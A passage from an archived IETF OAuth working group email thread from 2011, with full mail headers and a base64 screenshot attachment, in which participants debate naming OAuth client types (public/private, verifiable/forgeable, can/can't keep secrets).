--Apple-Mail=_EE702F0B-9644-4EF4-9FE7-8443578C0BEC-- --Apple-Mail=_A54263D2-03C3-4A09-8FD3-FB7AFD666717-- From eran@hueniverse.com Fri Jul 22 14:50:23 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A0FC121F8A55 for ; Fri, 22 Jul 2011 14:50:23 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.072 X-Spam-Level: X-Spam-Status: No, score=-2.072 tagged_above=-999 required=5 tests=[AWL=-0.475, BAYES_00=-2.599, EXTRA_MPART_TYPE=1, HTML_IMAGE_RATIO_08=0.001, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id V9tKNUkMNfzk for ; Fri, 22 Jul 2011 14:50:21 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id 6EA3721F880C for ; Fri, 22 Jul 2011 14:50:21 -0700 (PDT) Received: (qmail 20605 invoked from network); 22 Jul 2011 21:50:20 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 22 Jul 2011 21:50:20 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Fri, 22 Jul 2011 14:50:07 -0700 From: Eran Hammer-Lahav To: Skylar Woodward Date: Fri, 22 Jul 2011 14:49:34 -0700 Thread-Topic: [OAUTH-WG] Issue 15, new client registration Thread-Index: AcxIuNv3sCbCohL+Rzui4U8XHV+nJAAAEPJA Message-ID: <90C41DD21FB7C64BB94121FBBC2E72345021F377C3@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4E2740E9.5000209@lodderstedt.net> <4E274191.6020207@lodderstedt.net> <90C41DD21FB7C64BB94121FBBC2E72345021F377AA@P3PW5EX1MB01.EX1.SECURESERVER.NET> <64930E85-923B-4811-8A6B-6A677B95F904@kiva.org> In-Reply-To: <64930E85-923B-4811-8A6B-6A677B95F904@kiva.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: yes X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/related; boundary="_005_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_"; type="multipart/alternative" MIME-Version: 1.0 Cc: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 22 Jul 2011 21:50:23 -0000 --_005_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_ Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_" --_000_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable In many cases you can verify a public client using a registered redirection= URI. EHL From: Skylar Woodward [mailto:skylar@kiva.org] Sent: Friday, July 22, 2011 2:46 PM To: Eran Hammer-Lahav Cc: Torsten Lodderstedt; OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration Looks like Torsten already has capture my suggestion which is also what the= Kiva documentation uses... Verifiable/Forgeable identity. It's precise an= d avoids making a statement about trust, etc. But only developers need such simple one-word classifications. For end use= rs (e.g., people w/ accounts who approve access for an app) we're be provid= ing much more verbose explanations. For example. "This application's identi= ty has ben verified... still (caution, caution, caution)" or "This applic= ation's identity cannot be verified. Only approve this application if you a= bsolutely trust the application or link that sent you this page..." App users can't discern the significance of public vs. private credentials. To me, public credentials are not credentials at all. Yet another term to d= efine. Better to be precise. Another option (and terminology we use to help developers) Can Keep Secrets= / Can't Keep Secrets. Attached screenshots in case anyone is interested in how this plays out in = real-world UI (vs. specs). [cid:image001.png@01CC487E.92098B80][cid:image002.png@01CC487E.92098B80] On Jul 22, 2011, at 11:12 PM, Eran Hammer-Lahav wrote: -----Original Message----- From: oauth-bounces@ietf.org [mailto:oauth-b= ounces@ietf.org] On Behalf Of Torsten Lodderstedt Sent: Wednesday, July 20, 2011 1:59 PM To: OAuth WG Subject: Re: [OAUTH-WG] Issue 15, new client registration 2.1 Client types I'm struggeling with the new terminology of "private" and "public" clients. In my perception, the text just distinguishes clients which can be authenticated and such which cannot. This is fine but I consider the wordin= g misleading. I would suggest to change it to something like trusted/untruste= d or authenticated/unauthenticated or Verifiable/Forgeable. I'm open to changing the names. I don't like trusted/untrusted because OAuth does not define trust. The aut= henticated/unauthenticated pair is also not ideal because the terms describ= e the outcome, not the nature of the client. As for verifiable/forgeable, I= think these terms are too complicated for a casual reader. My intention with public/private is to identify the nature of the client cr= edentials. So a more verbose version would be 'public credentials/private c= redentials'. This also works with 'code' instead of 'credentials'. It's clear from the past year of discussions that we need terminology to de= scribe these two types. Any other suggestions? EHL _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

In many c= ases you can verify a public client using a registered redirection URI.

 

<= p class=3DMsoNormal>EHL

 

= From:= Skylar Woodward [mailto:skylar@kiva.org]
Sent: Friday, July = 22, 2011 2:46 PM
To: Eran Hammer-Lahav
Cc: Torsten Lodd= erstedt; OAuth WG
Subject: Re: [OAUTH-WG] Issue 15, new client re= gistration

 = ;

Looks like Torsten already has capture= my suggestion which is also what the Kiva documentation uses… Verifi= able/Forgeable identity.  It's precise and avoids making a statement a= bout trust, etc.

 <= /o:p>

But only developers need such simp= le one-word classifications.  For end users (e.g., people w/ accounts = who approve access for an app) we're be providing much more verbose explana= tions. For example. "This application's identity has ben verified̷= 0; still (caution, caution, caution)"  or  "This applic= ation's identity cannot be verified. Only approve this application if you a= bsolutely trust the application or link that sent you this page…"= ;

 

=

App users can't discern the significance of publi= c vs. private credentials.

 

To me, public credential= s are not credentials at all. Yet another term to define. Better to be prec= ise.

 

Another option (and terminology we use to help= developers) Can Keep Secrets / Can't Keep Secrets.

 

Attached screenshots in case anyone is interested in how this plays out in= real-world UI (vs. specs).

<= o:p> 

 

 

 <= /o:p>

On Jul 22, 2011, at 11:12 PM, Eran = Hammer-Lahav wrote:



<= /o:p>




-----Original Message-----

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf=

Of Torsten Lodderstedt

Sent: Wednesday, July 20, 2011 1:59 PM

To: OAuth WG

Subject: Re: [OAUTH-W= G] Issue 15, new client registration

&= nbsp;

2.1 Client types

 

I'm struggeling with the new = terminology of "private" and "public"

clients. In my perception, the text just distinguishes clien= ts which can be

authenticated and such whic= h cannot. This is fine but I consider the wording

misleading. I would suggest to change it to something like trusted/u= ntrusted

or authenticated/unauthenticated o= r Verifiable/Forgeable.

I'm open to changing the names.

I don't like trusted/untrusted beca= use OAuth does not define trust. The authenticated/unauthenticated pair is = also not ideal because the terms describe the outcome, not the nature of th= e client. As for verifiable/forgeable, I think these terms are too complica= ted for a casual reader.

My intention with public/private is to iden= tify the nature of the client credentials. So a more verbose version would = be 'public credentials/private credentials'. This also works with 'code' in= stead of 'credentials'.

It's clear from the past year of discussions= that we need terminology to describe these two types.

Any other sug= gestions?

EHL
_______________________________________________
= OAuth mailing list
OAuth@ietf.org<= br>https://www.ietf= .org/mailman/listinfo/oauth

 

= --_000_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_-- --_005_90C41DD21FB7C64BB94121FBBC2E72345021F377C3P3PW5EX1MB01E_ Content-Type: image/png; name="image001.png" Content-Description: image001.png Content-Disposition: inline; filename="image001.png"; size=33023; creation-date="Fri, 22 Jul 2011 21:50:06 GMT"; modification-date="Fri, 22 Jul 2011 21:50:06 GMT" Content-ID: Content-Transfer-Encoding: base64 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 